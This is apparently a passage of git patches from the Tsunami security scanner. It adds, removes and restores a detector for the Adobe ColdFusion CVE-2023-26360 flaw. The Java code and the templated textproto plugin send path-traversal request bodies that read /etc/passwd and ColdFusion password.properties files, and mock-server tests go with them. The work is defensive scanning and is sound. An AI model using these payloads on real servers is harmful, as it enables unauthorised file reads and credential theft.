.setTitle("Adobe ColdFusion Unauthenticated Arbitrary Read and Remote Code Execution") - .setDescription( - "Adobe ColdFusion versions 2018 Update 15 (and earlier) and 2021 Update 5 (and" - + " earlier) are affected by an Improper Access Control vulnerability that" - + " could result in unauthenticated file read and arbitrary code execution" - + " in the context of the current user. Exploitation of this issue does not" - + " require user interaction.") - .setRecommendation( - "For Adobe ColdFusion 2018, ugrade to version Update 16 or higher" - + "For Adobe ColdFusion 2021, upgrade to version Update 6 or higher") - .build()); - } - - @Override - public DetectionReportList detect( - TargetInfo targetInfo, ImmutableList matchedServices) { - logger.atInfo().log("CVE-2023-26360 starts detecting."); - - return DetectionReportList.newBuilder() - .addAllDetectionReports( - matchedServices.stream() - .filter(NetworkServiceUtils::isWebService) - .filter(this::isServiceVulnerable) - .map(networkService -> buildDetectionReport(targetInfo, networkService)) - .collect(toImmutableList())) - .build(); - } - - private boolean isServiceVulnerable(NetworkService networkService) { - for (String path : VULNERABLE_REQUEST_PATHS) { - for (String payload : VULNERABLE_REQUEST_BODY_ALL) { - String targetUrl = buildWebApplicationRootUrl(networkService) + path; - try { - HttpResponse response = - httpClient.send( - post(targetUrl) - .setHeaders( - HttpHeaders.builder() - .addHeader(CONTENT_TYPE, "application/x-www-form-urlencoded") - .build()) - .setRequestBody(ByteString.copyFromUtf8(payload)) - .build(), - networkService); - if (response.bodyString().isPresent()) { - if (VULNERABLE_RESPONSE_PATTERN.matcher(response.bodyString().get()).find()) { - return true; - } - } - } catch (Exception e) { - logger.atWarning().withCause(e).log("Failed request to target %s.", networkService); - } - } - } - return false; - } - - private DetectionReport buildDetectionReport( - TargetInfo targetInfo, NetworkService vulnerableNetworkService) { - return DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(vulnerableNetworkService) - .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(this.getAdvisories().get(0)) - .build(); - } -} diff --git a/community/detectors/adobe_coldfusion_cve_2023_26360/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202326360/Cve202326360DetectorBootstrapModule.java b/community/detectors/adobe_coldfusion_cve_2023_26360/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202326360/Cve202326360DetectorBootstrapModule.java deleted file mode 100644 index 9e49e74af..000000000 --- a/community/detectors/adobe_coldfusion_cve_2023_26360/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202326360/Cve202326360DetectorBootstrapModule.java +++ /dev/null @@ -1,27 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.cves.cve202326360; - -import com.google.tsunami.plugin.PluginBootstrapModule; - -/** A CVE-2024-23897 Guice module that bootstraps the {@link Cve202326360Detector}. */ -public final class Cve202326360DetectorBootstrapModule extends PluginBootstrapModule { - - @Override - protected void configurePlugin() { - registerPlugin(Cve202326360Detector.class); - } -} diff --git a/community/detectors/adobe_coldfusion_cve_2023_26360/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202326360/Cve202326360DetectorTest.java b/community/detectors/adobe_coldfusion_cve_2023_26360/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202326360/Cve202326360DetectorTest.java deleted file mode 100644 index f6f8a6c47..000000000 --- a/community/detectors/adobe_coldfusion_cve_2023_26360/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202326360/Cve202326360DetectorTest.java +++ /dev/null @@ -1,125 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.cves.cve202326360; - -import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; - -import com.google.common.collect.ImmutableList; -import com.google.inject.Guice; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.net.http.HttpClientModule; -import com.google.tsunami.common.time.testing.FakeUtcClock; -import com.google.tsunami.common.time.testing.FakeUtcClockModule; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Software; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.TransportProtocol; -import java.io.IOException; -import java.time.Instant; -import javax.inject.Inject; -import okhttp3.mockwebserver.MockResponse; -import okhttp3.mockwebserver.MockWebServer; -import org.junit.After; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Unit tests for {@link Cve202326360Detector}. */ -@RunWith(JUnit4.class) -public final class Cve202326360DetectorTest { - - private final FakeUtcClock fakeUtcClock = - FakeUtcClock.create().setNow(Instant.parse("2024-01-01T00:00:00.00Z")); - - @Inject private Cve202326360Detector detector; - - private final MockWebServer mockWebServer = new MockWebServer(); - private NetworkService service; - private TargetInfo targetInfo; - - @Before - public void setUp() throws IOException { - mockWebServer.start(); - Guice.createInjector( - new FakeUtcClockModule(fakeUtcClock), - new HttpClientModule.Builder().build(), - new Cve202326360DetectorBootstrapModule()) - .injectMembers(this); - - service = - NetworkService.newBuilder() - .setNetworkEndpoint( - forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) - .setTransportProtocol(TransportProtocol.TCP) - .setSoftware(Software.newBuilder().setName("Adobe ColdFusion")) - .setServiceName("http") - .build(); - - targetInfo = - TargetInfo.newBuilder() - .addNetworkEndpoints( - forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) - .build(); - } - - @After - public void tearDown() throws IOException { - mockWebServer.shutdown(); - } - - @Test - public void detect_whenVulnerable_returnsDetection() { - MockResponse response = - new MockResponse() - .setBody( - "
" - + "root:x:0:0:root:/root:/bin/bash" - + "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin" - + "bin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologin" - + "sync:x:4:65534:sync:/bin:/bin/sync"); - mockWebServer.enqueue(response); - - DetectionReport actual = - detector.detect(targetInfo, ImmutableList.of(service)).getDetectionReports(0); - - DetectionReport expected = - DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(service) - .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(detector.getAdvisories().get(0)) - .build(); - - assertThat(actual).isEqualTo(expected); - } - - @Test - public void detect_whenNotVulnerable_returnsNoVulnerability() { - MockResponse response = new MockResponse().setBody("x"); - mockWebServer.enqueue(response); - mockWebServer.enqueue(response); - mockWebServer.enqueue(response); - mockWebServer.enqueue(response); - DetectionReportList findings = detector.detect(targetInfo, ImmutableList.of(service)); - assertThat(findings.getDetectionReportsList()).isEmpty(); - } -} diff --git a/templated/templateddetector/plugins/cve/2023/Adobe_ColdFusion_CVE_2023_26360.textproto b/templated/templateddetector/plugins/cve/2023/Adobe_ColdFusion_CVE_2023_26360.textproto new file mode 100644 index 000000000..ee70a995d --- /dev/null +++ b/templated/templateddetector/plugins/cve/2023/Adobe_ColdFusion_CVE_2023_26360.textproto @@ -0,0 +1,156 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "Adobe_ColdFusion_CVE_2023_26360" + author: "Robert Dick (robert@doyensec.com) templated version " + " (some modifications made from Java version) " + "jimmy-ly00 for original Java version. " + + version: "1.1" +} + +finding: { + main_id: { + publisher: "GOOGLE" + value: "CVE-2023-26360" + } + title: "Adobe ColdFusion Unauthenticated Arbitrary Read and Remote Code Execution" + description: + "Adobe ColdFusion versions 2018 Update 15 (and earlier) and 2021 Update 5 (and" + " earlier) are affected by an Improper Access Control vulnerability that" + " could result in unauthenticated file read and arbitrary code execution" + " in the context of the current user. Exploitation of this issue does not" + " require user interaction." + recommendation: + "For Adobe ColdFusion 2018, ugrade to version Update 16 or higher" + "For Adobe ColdFusion 2021, upgrade to version Update 6 or higher" + severity: CRITICAL +} + +########### +# ACTIONS # +########### + +# One simple request that tests several local file read paths + +actions: { + name: "trigger_vuln" + http_request: { + method: POST + uri: "{{ VULN_PATH }}" + headers: [ + { + name: "Content-Type" value: "application/x-www-form-urlencoded" + } + ] + data: "{{ REQ_BODY }}" + response: { + http_status: 200 + expect_all: { + conditions: [ + { body: {} contains: "{{ COLDFUSION_FINGERPRINT }}"}, + { body: {} contains: "{{ VULN_RES_BODY }}"} + ] + } + } + } +} + +############# +# WORKFLOWS # +############# + +workflows: { + + variables: [ + + # this fingerprints coldfusion so that we know it's not some other service returning a password string + { name: "COLDFUSION_FINGERPRINT" value: ""}, + + # password.properties will contain this + { name: "VULN_RES_BODY" value: "password="}, + + { name: "VULN_PATH" value: "/CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx"}, + + # Large request body to try a lot of potential paths for the password.properties file to be + { + name: "REQ_BODY" + value: + "_variables={\"a\":[{\"_metadata\":{\"classname\":\"../../../../../../" + "opt/coldfusion/cfusion/lib/password.properties\"}},{\"_metadata\":{\"c" + "lassname\":\"../../../../../../opt/ColdFusion/cfusion/lib/password.pro" + "perties\"}},{\"_metadata\":{\"classname\":\"../../../../../../opt/Cold" + "Fusion8/cfusion/lib/password.properties\"}},{\"_metadata\":{\"classnam" + "e\":\"../../../../../../opt/coldfusion8/cfusion/lib/password.propertie" + "s\"}},{\"_metadata\":{\"classname\":\"../../../../../../opt/coldfusion" + "9/cfusion/lib/password.properties\"}},{\"_metadata\":{\"classname\":\"" + "../../../../../../opt/ColdFusion9/cfusion/lib/password.properties\"}}," + "{\"_metadata\":{\"classname\":\"../../../../../../opt/coldfusion10/cfu" + "sion/lib/password.properties\"}},{\"_metadata\":{\"classname\":\"../.." + "/../../../../opt/ColdFusion10/cfusion/lib/password.properties\"}},{\"_" + "metadata\":{\"classname\":\"../../../../../../opt/coldfusion11/cfusion" + "/lib/password.properties\"}},{\"_metadata\":{\"classname\":\"../../../" + "../../../opt/ColdFusion11/cfusion/lib/password.properties\"}},{\"_meta" + "data\":{\"classname\":\"../../../../../../opt/coldfusion2016/cfusion/l" + "ib/password.properties\"}},{\"_metadata\":{\"classname\":\"../../../.." + "/../../opt/ColdFusion2016/cfusion/lib/password.properties\"}},{\"_meta" + "data\":{\"classname\":\"../../../../../../opt/coldfusion2018/cfusion/l" + "ib/password.properties\"}},{\"_metadata\":{\"classname\":\"../../../.." + "/../../opt/ColdFusion2018/cfusion/lib/password.properties\"}},{\"_meta" + "data\":{\"classname\":\"../../../../../../opt/coldfusion2021/cfusion/l" + "ib/password.properties\"}},{\"_metadata\":{\"classname\":\"../../../.." + "/../../opt/ColdFusion2021/cfusion/lib/password.properties\"}},{\"_meta" + "data\":{\"classname\":\"../../../../../../opt/coldfusion2022/cfusion/l" + "ib/password.properties\"}},{\"_metadata\":{\"classname\":\"../../../.." + "/../../opt/ColdFusion2021/cfusion/lib/password.properties\"}},{\"_meta" + "data\":{\"classname\":\"../../../../../../opt/coldfusion2023/cfusion/l" + "ib/password.properties\"}},{\"_metadata\":{\"classname\":\"../../../.." + "/../../opt/ColdFusion2023/cfusion/lib/password.properties\"}},{\"_meta" + "data\":{\"classname\":\"../../../../../../coldfusion/cfusion/lib/passw" + "ord.properties\"}},{\"_metadata\":{\"classname\":\"../../../../../../C" + "oldFusion/cfusion/lib/password.properties\"}},{\"_metadata\":{\"classn" + "ame\":\"../../../../../../ColdFusion8/cfusion/lib/password.properties\"" + "}},{\"_metadata\":{\"classname\":\"../../../../../../coldfusion8/cfusi" + "on/lib/password.properties\"}},{\"_metadata\":{\"classname\":\"../../." + "./../../../coldfusion9/cfusion/lib/password.properties\"}},{\"_metadat" + "a\":{\"classname\":\"../../../../../../ColdFusion9/cfusion/lib/passwor" + "d.properties\"}},{\"_metadata\":{\"classname\":\"../../../../../../col" + "dfusion10/cfusion/lib/password.properties\"}},{\"_metadata\":{\"classn" + "ame\":\"../../../../../../ColdFusion10/cfusion/lib/password.properties" + "\"}},{\"_metadata\":{\"classname\":\"../../../../../../coldfusion11/cf" + "usion/lib/password.properties\"}},{\"_metadata\":{\"classname\":\"../." + "./../../../../ColdFusion11/cfusion/lib/password.properties\"}},{\"_met" + "adata\":{\"classname\":\"../../../../../../coldfusion2016/cfusion/lib/" + "password.properties\"}},{\"_metadata\":{\"classname\":\"../../../../.." + "/../ColdFusion2016/cfusion/lib/password.properties\"}},{\"_metadata\":" + "{\"classname\":\"../../../../../../coldfusion2018/cfusion/lib/password" + ".properties\"}},{\"_metadata\":{\"classname\":\"../../../../../../Cold" + "Fusion2018/cfusion/lib/password.properties\"}},{\"_metadata\":{\"class" + "name\":\"../../../../../../coldfusion2021/cfusion/lib/password.propert" + "ies\"}},{\"_metadata\":{\"classname\":\"../../../../../../ColdFusion20" + "21/cfusion/lib/password.properties\"}},{\"_metadata\":{\"classname\":\"" + "../../../../../../coldfusion2022/cfusion/lib/password.properties\"}},{" + "\"_metadata\":{\"classname\":\"../../../../../../ColdFusion2021/cfusio" + "n/lib/password.properties\"}},{\"_metadata\":{\"classname\":\"../../.." + "/../../../coldfusion2023/cfusion/lib/password.properties\"}},{\"_metad" + "ata\":{\"classname\":\"../../../../../../ColdFusion2023/cfusion/lib/pa" + "ssword.properties\"}},{\"_metadata\":{\"classname\":\"a/../lib/passwor" + "d.properties\"}},{\"_metadata\":{\"classname\":\"a/../../lib/password." + "properties\"}},{\"_metadata\":{\"classname\":\"a/../../../lib/password" + ".properties\"}}]}" + } + ] + actions: [ + "trigger_vuln" + ] +} + +config: { + debug: true +} \ No newline at end of file diff --git a/templated/templateddetector/plugins/cve/2023/Adobe_ColdFusion_CVE_2023_26360_test.textproto b/templated/templateddetector/plugins/cve/2023/Adobe_ColdFusion_CVE_2023_26360_test.textproto new file mode 100644 index 000000000..ec4639e1e --- /dev/null +++ b/templated/templateddetector/plugins/cve/2023/Adobe_ColdFusion_CVE_2023_26360_test.textproto @@ -0,0 +1,31 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests + +config: { + tested_plugin: "Adobe_ColdFusion_CVE_2023_26360" +} + +tests: { + name: "whenVulnLinuxPath1_returnsVuln" + expect_vulnerability: true + + mock_http_server: { + mock_responses: [ + { + uri: "/CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx" + status: 200 + body_content: + "...\n" + "#Thu Apr 16 12:34:40 GMT 2026\n" + "password=NOTAREALPASSWORD...\n" + "rdspassword=" + }, + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: "anything" + } + ] + } +} + From 18a9dc6138d6c3ee514cb7084a5ec17654037e4f Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Fri, 17 Apr 2026 07:50:43 -0400 Subject: [PATCH 4/4] Revert "replaced adobe coldfusion cve-2023-26360 with templated" This reverts commit 87855bf2eef6ea78124de063013a554abe946ff0. Accidentally pushed to wrong branch --- .../adobe_coldfusion_cve_2023_26360/README.md | 20 +++ .../build.gradle | 40 +++++ .../settings.gradle | 12 ++ .../cve202326360/Cve202326360Detector.java | 164 ++++++++++++++++++ .../Cve202326360DetectorBootstrapModule.java | 27 +++ .../Cve202326360DetectorTest.java | 125 +++++++++++++ .../Adobe_ColdFusion_CVE_2023_26360.textproto | 156 ----------------- ...e_ColdFusion_CVE_2023_26360_test.textproto | 31 ---- 8 files changed, 388 insertions(+), 187 deletions(-) create mode 100644 community/detectors/adobe_coldfusion_cve_2023_26360/README.md create mode 100644 community/detectors/adobe_coldfusion_cve_2023_26360/build.gradle create mode 100644 community/detectors/adobe_coldfusion_cve_2023_26360/settings.gradle create mode 100644 community/detectors/adobe_coldfusion_cve_2023_26360/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202326360/Cve202326360Detector.java create mode 100644 community/detectors/adobe_coldfusion_cve_2023_26360/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202326360/Cve202326360DetectorBootstrapModule.java create mode 100644 community/detectors/adobe_coldfusion_cve_2023_26360/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202326360/Cve202326360DetectorTest.java delete mode 100644 templated/templateddetector/plugins/cve/2023/Adobe_ColdFusion_CVE_2023_26360.textproto delete mode 100644 templated/templateddetector/plugins/cve/2023/Adobe_ColdFusion_CVE_2023_26360_test.textproto diff --git a/community/detectors/adobe_coldfusion_cve_2023_26360/README.md b/community/detectors/adobe_coldfusion_cve_2023_26360/README.md new file mode 100644 index 000000000..bf993ab6b --- /dev/null +++ b/community/detectors/adobe_coldfusion_cve_2023_26360/README.md @@ -0,0 +1,20 @@ +# CVE-2023-26360 Detector + +Description: Adobe ColdFusion versions 2018 Update 15 (and earlier) and 2021 +Update 5 (and earlier) are affected by an Improper Access Control vulnerability +that could result in unauthenticated file read and arbitrary code execution in +the context of the current user. Exploitation of this issue does not require +user interaction. + +- https://nvd.nist.gov/vuln/detail/CVE-2023-26360 +- https://helpx.adobe.com/security/products/coldfusion/apsb23-25.html + +## Build jar file for this plugin + +Using `gradlew`: + +```shell +./gradlew jar +``` + +Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/community/detectors/adobe_coldfusion_cve_2023_26360/build.gradle b/community/detectors/adobe_coldfusion_cve_2023_26360/build.gradle new file mode 100644 index 000000000..3a9bcde52 --- /dev/null +++ b/community/detectors/adobe_coldfusion_cve_2023_26360/build.gradle @@ -0,0 +1,40 @@ +plugins { + id 'java-library' +} + +description = 'Tsunami CVE-2023-26360 VulnDetector plugin.' +group 'com.google.tsunami' +version '0.0.1-SNAPSHOT' + + +repositories { + maven { // The google mirror is less flaky than mavenCentral() + url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' + } + mavenCentral() + mavenLocal() +} + + + +def coreRepoBranch = System.getenv("GITBRANCH_TSUNAMI_CORE") ?: "stable" +def tcsRepoBranch = System.getenv("GITBRANCH_TSUNAMI_TCS") ?: "stable" + +dependencies { + implementation("com.google.tsunami:tsunami-common") { + version { branch = "${coreRepoBranch}" } + } + implementation("com.google.tsunami:tsunami-plugin") { + version { branch = "${coreRepoBranch}" } + } + implementation("com.google.tsunami:tsunami-proto") { + version { branch = "${coreRepoBranch}" } + } + + testImplementation "junit:junit:4.13.2" + testImplementation "org.mockito:mockito-core:5.18.0" + testImplementation "com.google.truth:truth:1.4.4" + testImplementation "com.squareup.okhttp3:mockwebserver:3.12.0" + testImplementation "com.google.truth.extensions:truth-java8-extension:1.4.4" + testImplementation "com.google.truth.extensions:truth-proto-extension:1.4.4" +} diff --git a/community/detectors/adobe_coldfusion_cve_2023_26360/settings.gradle b/community/detectors/adobe_coldfusion_cve_2023_26360/settings.gradle new file mode 100644 index 000000000..9d824056e --- /dev/null +++ b/community/detectors/adobe_coldfusion_cve_2023_26360/settings.gradle @@ -0,0 +1,12 @@ +rootProject.name = 'CVE-2023-26360' + +def coreRepository = System.getenv("GITREPO_TSUNAMI_CORE") ?: "https://github.com/google/tsunami-security-scanner.git" +def tcsRepository = System.getenv("GITREPO_TSUNAMI_TCS") ?: "https://github.com/google/tsunami-security-scanner-callback-server.git" + +sourceControl { + gitRepository("${coreRepository}") { + producesModule("com.google.tsunami:tsunami-common") + producesModule("com.google.tsunami:tsunami-plugin") + producesModule("com.google.tsunami:tsunami-proto") + } +} diff --git a/community/detectors/adobe_coldfusion_cve_2023_26360/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202326360/Cve202326360Detector.java b/community/detectors/adobe_coldfusion_cve_2023_26360/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202326360/Cve202326360Detector.java new file mode 100644 index 000000000..7c2eb55f8 --- /dev/null +++ b/community/detectors/adobe_coldfusion_cve_2023_26360/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202326360/Cve202326360Detector.java @@ -0,0 +1,164 @@ +/* + * Copyright 2023 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202326360; + +import static com.google.common.base.Preconditions.checkNotNull; +import static com.google.common.collect.ImmutableList.toImmutableList; +import static com.google.common.net.HttpHeaders.CONTENT_TYPE; +import static com.google.tsunami.common.data.NetworkServiceUtils.buildWebApplicationRootUrl; +import static com.google.tsunami.common.net.http.HttpRequest.post; + +import com.google.common.collect.ImmutableList; +import com.google.common.flogger.GoogleLogger; +import com.google.protobuf.ByteString; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.data.NetworkServiceUtils; +import com.google.tsunami.common.net.http.HttpClient; +import com.google.tsunami.common.net.http.HttpHeaders; +import com.google.tsunami.common.net.http.HttpResponse; +import com.google.tsunami.common.time.UtcClock; +import com.google.tsunami.plugin.PluginType; +import com.google.tsunami.plugin.VulnDetector; +import com.google.tsunami.plugin.annotations.PluginInfo; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.time.Clock; +import java.time.Instant; +import java.util.regex.Pattern; +import javax.inject.Inject; + +/** A {@link VulnDetector} that detects the CVE-2023-26360. */ +@PluginInfo( + type = PluginType.VULN_DETECTION, + name = "Cve202326360VulnDetector", + version = "1.0", + description = "This detector checks for Adobe ColdFusion CVE-2023-26360 vulnerability", + author = "jimmy-ly00", + bootstrapModule = Cve202326360DetectorBootstrapModule.class) +public final class Cve202326360Detector implements VulnDetector { + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); + private static final ImmutableList VULNERABLE_REQUEST_PATHS = + ImmutableList.of( + "cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx", + "CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx"); + + /** Windows */ + private static final String VULNERABLE_REQUEST_BODY_WINDOWS = + "_variables={\"_metadata\":{\"classname\":\"i/../lib/password.properties\"},\"_variables\":[]}"; + + /** Linux */ + private static final String VULNERABLE_REQUEST_BODY_LINUX = + "_variables={\"_metadata\":{\"classname\":\"../../../../../../../../etc/passwd\"}}"; + + private static final ImmutableList VULNERABLE_REQUEST_BODY_ALL = + ImmutableList.of(VULNERABLE_REQUEST_BODY_WINDOWS, VULNERABLE_REQUEST_BODY_LINUX); + + private static final Pattern VULNERABLE_RESPONSE_PATTERN = + Pattern.compile("root:[x*]:0:0:"); + + private final HttpClient httpClient; + private final Clock utcClock; + + @Inject + Cve202326360Detector(@UtcClock Clock utcClock, HttpClient httpClient) { + this.httpClient = checkNotNull(httpClient); + this.utcClock = checkNotNull(utcClock); + } + + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2023_26360")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2023-26360")) + .setSeverity(Severity.CRITICAL) + .setTitle("Adobe ColdFusion Unauthenticated Arbitrary Read and Remote Code Execution") + .setDescription( + "Adobe ColdFusion versions 2018 Update 15 (and earlier) and 2021 Update 5 (and" + + " earlier) are affected by an Improper Access Control vulnerability that" + + " could result in unauthenticated file read and arbitrary code execution" + + " in the context of the current user. Exploitation of this issue does not" + + " require user interaction.") + .setRecommendation( + "For Adobe ColdFusion 2018, ugrade to version Update 16 or higher" + + "For Adobe ColdFusion 2021, upgrade to version Update 6 or higher") + .build()); + } + + @Override + public DetectionReportList detect( + TargetInfo targetInfo, ImmutableList matchedServices) { + logger.atInfo().log("CVE-2023-26360 starts detecting."); + + return DetectionReportList.newBuilder() + .addAllDetectionReports( + matchedServices.stream() + .filter(NetworkServiceUtils::isWebService) + .filter(this::isServiceVulnerable) + .map(networkService -> buildDetectionReport(targetInfo, networkService)) + .collect(toImmutableList())) + .build(); + } + + private boolean isServiceVulnerable(NetworkService networkService) { + for (String path : VULNERABLE_REQUEST_PATHS) { + for (String payload : VULNERABLE_REQUEST_BODY_ALL) { + String targetUrl = buildWebApplicationRootUrl(networkService) + path; + try { + HttpResponse response = + httpClient.send( + post(targetUrl) + .setHeaders( + HttpHeaders.builder() + .addHeader(CONTENT_TYPE, "application/x-www-form-urlencoded") + .build()) + .setRequestBody(ByteString.copyFromUtf8(payload)) + .build(), + networkService); + if (response.bodyString().isPresent()) { + if (VULNERABLE_RESPONSE_PATTERN.matcher(response.bodyString().get()).find()) { + return true; + } + } + } catch (Exception e) { + logger.atWarning().withCause(e).log("Failed request to target %s.", networkService); + } + } + } + return false; + } + + private DetectionReport buildDetectionReport( + TargetInfo targetInfo, NetworkService vulnerableNetworkService) { + return DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(vulnerableNetworkService) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability(this.getAdvisories().get(0)) + .build(); + } +} diff --git a/community/detectors/adobe_coldfusion_cve_2023_26360/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202326360/Cve202326360DetectorBootstrapModule.java b/community/detectors/adobe_coldfusion_cve_2023_26360/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202326360/Cve202326360DetectorBootstrapModule.java new file mode 100644 index 000000000..9e49e74af --- /dev/null +++ b/community/detectors/adobe_coldfusion_cve_2023_26360/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202326360/Cve202326360DetectorBootstrapModule.java @@ -0,0 +1,27 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202326360; + +import com.google.tsunami.plugin.PluginBootstrapModule; + +/** A CVE-2024-23897 Guice module that bootstraps the {@link Cve202326360Detector}. */ +public final class Cve202326360DetectorBootstrapModule extends PluginBootstrapModule { + + @Override + protected void configurePlugin() { + registerPlugin(Cve202326360Detector.class); + } +} diff --git a/community/detectors/adobe_coldfusion_cve_2023_26360/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202326360/Cve202326360DetectorTest.java b/community/detectors/adobe_coldfusion_cve_2023_26360/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202326360/Cve202326360DetectorTest.java new file mode 100644 index 000000000..f6f8a6c47 --- /dev/null +++ b/community/detectors/adobe_coldfusion_cve_2023_26360/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202326360/Cve202326360DetectorTest.java @@ -0,0 +1,125 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202326360; + +import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; + +import com.google.common.collect.ImmutableList; +import com.google.inject.Guice; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.net.http.HttpClientModule; +import com.google.tsunami.common.time.testing.FakeUtcClock; +import com.google.tsunami.common.time.testing.FakeUtcClockModule; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.Software; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.TransportProtocol; +import java.io.IOException; +import java.time.Instant; +import javax.inject.Inject; +import okhttp3.mockwebserver.MockResponse; +import okhttp3.mockwebserver.MockWebServer; +import org.junit.After; +import 